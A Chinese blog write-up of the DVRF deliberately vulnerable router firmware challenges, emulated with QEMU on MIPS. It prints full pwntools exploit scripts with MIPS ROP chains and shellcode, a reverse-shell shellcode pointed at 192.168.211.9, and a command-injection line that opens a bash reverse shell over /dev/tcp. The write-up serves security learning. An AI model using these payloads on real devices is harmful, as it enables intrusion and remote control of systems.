美文网首页
从DVRF靶机学习固件安全

从DVRF靶机学习固件安全

作者: 蚁景科技 | 来源:发表于2021-03-25 17:16 被阅读0次

DVRF 项目介绍

该项目目标是模拟一个真实的环境,帮助人们了解 x86_64 之外的其他 CPU 架构。此固件是针对 Linksys E1550 设备量身定制的。如果您没有,请不要担心!可以用 qemu 模拟。

项目地址:https://github.com/praetorian-inc/DVRF

本文涉及相关实验:解密固件实践及firmwalker脚本利用  (通过本次实验学习如何在固件被加密的情况下进行解密,使得固件层面的路由器安全研究顺利进行。)

模拟环境

主要是用 ubuntu 16 ,如果部分题目用 qemu-user 模拟不了,就转去 attify 3.0 。但是 attify gdb 插件 gef 视乎在模拟时 vmmap 查不过来 libc 地址,问题不大只是查询方法饶了一点,还是可以解决的。

ubuntu 16.04

pwndbg

Qemu-static(version 2.11.1)

gdb-multiarch

attify 3.0

下载地址:https://github.com/adi0x90/attifyos

stack_bof_01

获取参数后,未校验长度赋值给局部变量造成栈溢出,有后门函数 0x00400950 :

Main 函数由 libc_main_start 调用,即 main 函数为非叶子函数,返回地址存放在栈上,从汇编可见:

直接跳转 0x00400950 会因为 t9 的值被修改而错误。mips默认 t9 为当前函数开始地址。函数内部通过 t9 寄存器和 gp 寄存器来找数据,地址等。

其他师傅文章中是通过找 libc 中的 lw $t9, arg_0($sp);jalr $t9 调整 t9 寄存器。但是我固件镜像中的 libc 没有这个 gadget ,按照偏移地址跳转过去是 jalr $t9 。换个思路直接跳过 dat_shell 开头调整 gp 部分:

调试方法

需要打开几个 terminal 启动不同的命令:

启动 qemu 模拟

-strace 查看 qemu 调试信息,方便观察执行了什么命令

qemu-mipsel-static -L . -g 1234 -strace ./pwnable/Intro/uaf_01 aaaa

gdb-multiarch

gdb-multiarch ./pwnable/Intro/stack_bof_01

set architecture mips

set endian little

target remote :1234

连上之后会停在 start ,在 main 函数开头打断点,运行到这个断点,然后就慢慢单步调试。

EXP

字符串是从参数读入,跳转地址转换后是不可见字符 ,需要借助 cat 传入参数

# file_name: stack_bof_01.py

from pwn import *

context.binary = "./pwnable/Intro/stack_bof_01"

context.arch = "mips"

context.endian = "little"

backdoor = 0x0040095c

payload = 'a'*0xc8+'b'*0x4

payload += p32(backdoor)

with open("stack_bof_01_payload","w") as file:

file.write(payload)

命令行执行:

sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat stack_bof_01_payload`"

stack_bof_02

和前面一题差不多,调试方法也一样,就是少了后门函数,造成溢出函数变成了 strcpy :

main 非叶子函数覆盖函数返回地址跳转存放在栈上的 shellocde 。qemu 模拟地址没有随机化,相当于 aslr 关闭了,直接调试查出 v4 的内存地址

直接写入 shellcode 可以完整执行完,但是执行 syscall 0x40404 之后没有弹 shell 而是进行运行到下一条指令。问了师傅说也有遇到过这种情况,通过加无意义的指令(nop)调整 shellcode 位置有机会能成,用了 XOR $t1, $t1, $t1 避免 strcpy \x00 截断(只有不包含截断符指令都行),尝试后无果。

查阅资料后发现,由于 mips 是流水指令集,存在 cache incoherency 的特性,需要调用 sleep 或者其他函数将数据区刷新到当前指令区中去,才能正常执行 shellcode 。

构造 ROP 的 gadget 得去 libc 找,程序自身没多少个。我在 ubuntu18 gdb 连上报错,换到 ubuntu16 vmmap 查不出来 libc 信息(如图),最后换 attify 解决问题。

libc路径:/squashfs-root/lib/libc.so.0

先调用 sleep(1) 就需要找 gadget 控制参数以及跳转。mipsrop.find("li $a0,1") 控制第一个参数,任选一个后面 rop 没有 gadget 继续构造就换一个 -。- ,我选着第二个构造 gadget1 = 0x2FB10 :

.text:0002FB10                 li      $a0, 1

.text:0002FB14                 move    $t9, $s1

.text:0002FB18                 jalr    $t9 ; sub_2F818

接着需要找一个控制 s1 的 gadget ,用于控制执行完 gadget1 之后跳转到哪里。mipsrop.find("li $s1") 结果有很多,最后选了 gadget2 = 0x00007730 :

.text:00007730                 lw      $ra, 0x18+var_s10($sp)

.text:00007734                 lw      $s3, 0x18+var_sC($sp)

.text:00007738                 lw      $s2, 0x18+var_s8($sp)

.text:0000773C                 lw      $s1, 0x18+var_s4($sp)

.text:00007740                 lw      $s0, 0x18+var_s0($sp)

.text:00007744                 jr      $ra

至此 a0 被控制为 1 ,目前 payload 结构为:

payload = "a"*508

payload += p32(gadget2)

payload += "a"*0x18

payload += "bbbb"#s0

payload += "????"#s1

payload += "bbbb"#s2

payload += "bbbb"#s3

payload += p32(gadget1)#ra

不能直接将 sleep(0x767142b0) 填到 s1 处,因为直接填地址跳转 sleep 缺少了跳转前将返回地址放到 ra 寄存器(或压栈)的过程,当 sleep 运行到结尾的 jalr $ra 时,又会跳转会到 gadget1 ,所以要换个方式。

mipsrop.tails() 找通过 s0\s2\s3 寄存器跳转的 gadget ,选择了 gadget3 = 0x00020F1C :

.text:00020F1C                 move    $t9, $s2

.text:00020F20                 lw      $ra, 0x18+var_sC($sp)

.text:00020F24                 lw      $s2, 0x18+var_s8($sp)

.text:00020F28                 lw      $s1, 0x18+var_s4($sp)

.text:00020F2C                 lw      $s0, 0x18+var_s0($sp)

.text:00020F30                 jr      $t9

解决 sleep 运行结束返回地址问题,并 lw $ra, 0x18+var_sC($sp) 控制下一层跳转,payload 结构:

payload = "a"*508

payload += p32(gadget2)

payload += "a"*0x18

payload += "bbbb"#s0

payload += p32(gadget3)#s1

payload += p32(sleep)#s2

payload += "bbbb"#s3

payload += p32(gadget1)#ra

#######

payload += "a"*(0x18+0x4)

payload += "cccc"#s0

payload += "cccc"#s1

payload += "cccc"#s2

payload += "????"#ra

mipsrop.stackfinders() 找一个 gadget 提取栈地址放到寄存器中,找的时候还要注意控制下一次跳转选择 gadget4 = 0x16dd0 这个,通过 gadget3 提前将下次跳转地址写入 s0 :

.text:00016DD0                 addiu   $a0, $sp, 0x38+var_20

.text:00016DD4                 move    $t9, $s0

.text:00016DD8                 jalr    $t9

payload = "a"*508

payload += p32(gadget2)

payload += "a"*0x18

payload += "bbbb"#s0

payload += p32(gadget3)#s1

payload += p32(sleep)#s2

payload += "bbbb"#s3

payload += p32(gadget1)#ra

#######

payload += "a"*(0x18+0x4)

payload += "????"#s0

payload += "cccc"#s1

payload += "cccc"#s2

payload += p32(gadget4)#ra

最后找一个用 a0 跳转的 gadget ,一开始用 mipsrop.tails() 没找到,最后用 mipsrop.find("move $t9,$a0)") 找着了 gadget5 = 0x214a0 ,对 mipsrop 理解不够……

.text:000214A0                 move    $t9, $a0

.text:000214A4                 sw      $v0, 0x30+var_18($sp)

.text:000214A8                 jalr    $t9

最后跳转 shellcode 时,0x000214A4 的这句汇编 sw $v0, 0x30+var_18($sp) 会将 shellcode 第一个指令替换为 nop ,用无意义指令填充,将 shellcode 向后移。

payload = "a"*508

payload += p32(gadget2)

payload += "a"*0x18

payload += "bbbb"#s0

payload += p32(gadget3)#s1

payload += p32(sleep)#s2

payload += "bbbb"#s3

payload += p32(gadget1)#ra

#######

payload += "a"*(0x18+0x4)

payload += p32(gadget5)#s0

payload += "cccc"#s1

payload += "cccc"#s2

payload += p32(gadget4)#ra

#######

payload += "a"*0x18

payload += p32(0xdeadbeef)

payload += shellcode

EXP

from pwn import *

context.binary = "./pwnable/ShellCode_Required/stack_bof_02"

context.arch = "mips"

context.endian = "little"

# libc_base = 0x766e5000

sleep = 0x767142b0#0x2F2B0+0x766e5000

gadget1 = 0x76714b10

'''

  0x76714b10:lia0,1

  0x76714b14:movet9,s1

  0x76714b18:jalrt9

'''

gadget2 = 0x766ec730

'''

  0x766ec730:lwra,40(sp)

  0x766ec734:lws3,36(sp)

  0x766ec738:lws2,32(sp)

  0x766ec73c:lws1,28(sp)

  0x766ec740:lws0,24(sp)

  0x766ec744:jrra

'''

gadget3 = 0x76705f1c

'''

  0x76705f1c:movet9,s2

  0x76705f20:lwra,36(sp)

  0x76705f24:lws2,32(sp)

  0x76705f28:lws1,28(sp)

  0x76705f2c:lws0,24(sp)

  0x76705f30:jrt9

'''

gadget4 = 0x766fbdd0

'''

  0x766fbdd0:addiua0,sp,24

  0x766fbdd4 <optarg>:movet9,s0

  0x766fbdd8:jalrt9

'''

gadget5 = 0x767064a0

'''

  0x767064a0:movet9,a0

  0x767064a4:swv0,24(sp)

  0x767064a8:jalrt9

'''

shellcode = "\xff\xff\x06\x28"  # slti $a2, $zero, -1

shellcode += "\x62\x69\x0f\x3c"  # lui $t7, 0x6962

shellcode += "\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f

shellcode += "\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)

shellcode += "\x73\x68\x0e\x3c"  # lui $t6, 0x6873

shellcode += "\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e

shellcode += "\xf8\xff\xae\xaf"  # sw $t6, -8($sp)

shellcode += "\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)

shellcode += "\xf5\xff\xa4\x27"  # addiu $a0, $sp, -0xc

shellcode += "\xff\xff\x05\x28"  # slti $a1, $zero, -1

shellcode += "\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab

shellcode += "\x0c\x01\x01\x01"  # syscall 0x40404

payload = "a"*508

payload += p32(gadget2)

payload += "a"*0x18

payload += "bbbb"#s0

payload += p32(gadget3)#s1

payload += p32(sleep)#s2

payload += "bbbb"#s3

payload += p32(gadget1)#ra

#######

payload += "a"*(0x18+0x4)

payload += p32(gadget5)#s0

payload += "cccc"#s1

payload += "cccc"#s2

payload += p32(gadget4)#ra

#######

payload += "a"*0x18

payload += p32(0xdeadbeef)

payload += shellcode

with open("stack_bof_02_payload","w") as file:

file.write(payload)

socket_bof

这题二进制文件用 ida 看伪代码有点瑕疵,本来溢出点变成了一个指针,导致一直找不到,最后无奈去看了下源码和结合汇编。

#include <sys/types.h>

#include <sys/socket.h>

#include <netdb.h>

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

// Pwnable Socket Program

// By b1ack0wl

// Stack Overflow

int main(int argc, char **argv[])

{

if (argc <2){

printf("Usage: %s port_number - by b1ack0wl\n", argv[0]);

exit(1);

}

   char str[500] = "\0";

   char endstr[50] = "\0";

   int listen_fd, comm_fd;

   int retval = 0;

   int option = 1;

   struct sockaddr_in servaddr;

   listen_fd = socket(AF_INET, SOCK_STREAM, 0);

   bzero( &servaddr, sizeof(servaddr));

   servaddr.sin_family = AF_INET;

   servaddr.sin_addr.s_addr = htons(INADDR_ANY);

   servaddr.sin_port = htons(atoi(argv[1]));

printf("Binding to port %i\n", atoi(argv[1]));

   retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));

if (retval == -1){

printf("Error Binding to port %i\n", atoi(argv[1]));

exit(1);}

  if(setsockopt(listen_fd, SOL_SOCKET,SO_REUSEADDR, (char*)&option, sizeof(option)) < 0){

printf("Setsockopt failed :(\n");

close(listen_fd);

exit(2);

}

   listen(listen_fd, 2);

   comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL);

       bzero(str, 500);

write(comm_fd, "Send Me Bytes:",14);

       read(comm_fd,str,500);

sprintf(endstr, "nom nom nom, you sent me %s", str);

printf("Sent back - %s",str);

       write(comm_fd, endstr, strlen(endstr)+1);

shutdown(comm_fd, SHUT_RDWR);

shutdown(listen_fd, SHUT_RDWR);

close(comm_fd);

close(listen_fd);

return 0x42;

}

栈溢出在这句 sprintf(endstr, "nom nom nom, you sent me %s", str); str 是 socket 传入的数据,长度内容为我们所控制,溢出 padding 为 51

调试方法

在 ubuntu 16.04 下 gdb-multiarch target remote :1234 链接上后报错退出,切换到 attify 能继续使用最常规方式调试:qemu-user 模式加 -g 打开调试端口,gdb-multiarch target remote :1234 链接上去。

# terminal 1

sudo qemu-mipsel-static -L . -g 1234 -strace ./pwnable/ShellCode_Required/socket_bof 8884

# terminal 2 gdb-multiarch

set architecture mips

set endian little

target remote :1234

另外一个调试方法是 qemu system 启动 mips 系统,然后传入一个 gdb-server ,在里面运行程序然后 gdb-server attach 程序,再在外面用 gdb 链接上去。

attify 里面 gdb 插件是 gef ,用 vmmap 读不出 libc 地址

曲线救国在 0x00400D34 打下断点,单步跟进去查看 sprintf 的真实地址,然后再从 ./lib/libc.so.0 读取偏移算出基地址

全部题目用的 libc 都同一个,需要 shellcode 的题目,换下 shellcode 就能通用 exp 。前面 stack_bof_02 是在 ubuntu16 里面的脚本 libc_base 和 attify 不一样要换下基地址。

Stack_bof_02 的 execve('/bin/sh') 能打通

找一个反弹 shell 的 shellcode 替换,或者将 shell 绑定到某个端口

绑定 shell 的 shellcode 预期是开在本地的 4919 端口,实际运行后发现并不是,要自己查端口 -。- ,然鹅 nc 连上去后程序会蹦掉。

反弹 shell 的 shellcode 预编是反弹到 192.168.1.177:31337 ,要么修改网卡 ip ,要么就改一下 shellcode 传入的 ip

将 ip 地址转换成 16 进制

hex(192)#0xc0

hex(168)#0xa8

hex(1)#0x01

hex(177)#0xb1

#192.168.1.177==>0xB101A8C0

编译一下,编译失败看看是不是 binutils 没装

from pwn import

context.arch = "mips"

context.endian = "little"

asm("li $a1, 0xB101A8C0")

然后搜索 \x01\xb1\x05\x3c\xc0\xa8\xa5\x34 替换为自己编译的:

stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"

stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"

stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"

stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"

stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"

stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"

#stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177

stg3_SC += "\xf8\xff\xa5\xaf\xd3\x09\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.211.9

stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"

stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"

stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"

stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"

stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"

stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"

EXP

#!/usr/bin/python

from pwn import *

context.arch = 'mips'

context.endian = 'little'

libc_addr = 0x4089b000#0x766e5000

sleep = 0x0002F2B0

gadget1 = 0x2fb10

'''

  0x76714b10:lia0,1

  0x76714b14:movet9,s1

  0x76714b18:jalrt9

'''

gadget2 = 0x7730

'''

  0x766ec730:lwra,40(sp)

  0x766ec734:lws3,36(sp)

  0x766ec738:lws2,32(sp)

  0x766ec73c:lws1,28(sp)

  0x766ec740:lws0,24(sp)

  0x766ec744:jrra

'''

gadget3 = 0x20f1c

'''

  0x76705f1c:movet9,s2

  0x76705f20:lwra,36(sp)

  0x76705f24:lws2,32(sp)

  0x76705f28:lws1,28(sp)

  0x76705f2c:lws0,24(sp)

  0x76705f30:jrt9

'''

gadget4 = 0x16dd0

'''

  0x766fbdd0:addiua0,sp,24

  0x766fbdd4 <optarg>:movet9,s0

  0x766fbdd8:jalrt9

'''

gadget5 = 0x214a0

'''

  0x767064a0:movet9,a0

  0x767064a4:swv0,24(sp)

  0x767064a8:jalrt9

'''

stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"

stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"

stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"

stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"

stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"

stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"

#stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177

stg3_SC += "\xf8\xff\xa5\xaf\xd3\x09\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.211.9

stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"

stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"

stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"

stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"

stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"

stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"

payload = 'a' * 51

payload += p32(libc_addr+gadget2)

payload += "a"*0x18

payload += "bbbb"#s0

payload += p32(libc_addr+gadget3)#s1

payload += p32(libc_addr+sleep)#s2

payload += "bbbb"#s3

payload += p32(libc_addr+gadget1)#ra

#######

payload += "a"*(0x18+0x4)

payload += p32(libc_addr+gadget5)#s0

payload += "cccc"#s1

payload += "cccc"#s2

payload += p32(libc_addr+gadget4)#ra

#######

payload += "a"*0x18

payload += p32(0xdeadbeef)

payload += stg3_SC

p = remote('127.0.0.1',8882)

p.recvuntil('Send Me Bytes:')

p.sendline(payload)

p.interactive()

socket_cmd

EXP

依次打开终端运行

#terminal 0

qemu-mipsel-static -L . -strace ./pwnable/ShellCode_Required/socket_cmd 9999

#terminal 1

nc -lvvp 31337

#tarminal 2

nc 127.0.0.1 9999

hacked|`bash -c "bash -i >& /dev/tcp/192.168.211.9/31337 0>&1"`

是 iot 用户 nc 链接上去程序,程序是用 sudo 起来,所以切换到 root

Uaf_01&heap_overflow

剩下两题 heap_overflow 和 uaf_01 没有什么思路,都是输入一次然后程序就退出了。

uaf_01 重新申请相同 0x11 ,就跳转 Awesome 那个分支,但没啥用。

heap_overflow 有个后门,输入机会只有一次,然后程序就会关掉。

参考文章

https://ctf-wiki.org/pwn/linux/mips/mips_rop/

https://xz.aliyun.com/t/1511

https://www.cnblogs.com/hac425/p/9416864.html

相关文章

  • 从DVRF靶机学习固件安全

    DVRF 项目介绍 该项目目标是模拟一个真实的环境,帮助人们了解 x86_64 之外的其他 CPU 架构。此固件是...

  • sunset靶机渗透实战

    sunset靶机渗透,该靶机就是纯主机渗透,比较简单,适合新手练习本垃圾现在转向工控安全领域继续学习,后续将推出团...

  • VMware(Windows版本)靶机windows xp sp

    学习kali安全渗透靶机是必不可少的,下面笔者就来说说对于初学者来说需要安装哪些靶机 1.windows xp...

  • MinUv2靶机渗透实战

    这篇在安全客投稿失败,就发布在简书上吧以后大家可以在安全客上关注我:hack-shark 靶机IP发现 靶机发现,...

  • WebLogic远程命令执行

    靶机说明 目标ip:172.16.53.28(window 2003) 本靶机所针对的序列化漏洞系列以及常见安全问...

  • [从智能锁谈STM32安全技术 学习笔记] 六. 安全固件安装

    声明:版权归原作者所有,如有侵权请联系删除。 6.1 为什么需要安全固件安装 安全固件安装的本质是:我们能否相信工...

  • VulnHub学习:InfoSecWarrior CTF 202

    前言 本次靶机学习的要点: 发现奇怪点、提权靶机地址:https://www.vulnhub.com/entry/...

  • web安全的学习笔记

    1.1安全渗透环境准备 环境准备 靶机 owasp渗透机 kali集成 vmwarekali owasp联网方式~...

  • 物联网设备固件模拟流程

    Iot安全之漏洞挖掘。为了对智能设备进行渗透测试,固件模拟可以在没有设备的情况下对固件进行分析。--- 环境 操作...

  • 38个信息安全项目列表

    前言: 实验楼特别适合信息安全的学习,因为不但提供了攻击机,还另外提供一台有多种漏洞的 Linux 实验机做为靶机...

网友评论

      本文标题:从DVRF靶机学习固件安全

      本文链接:https://www.haomeiwen.com/subject/vcdrhltx.html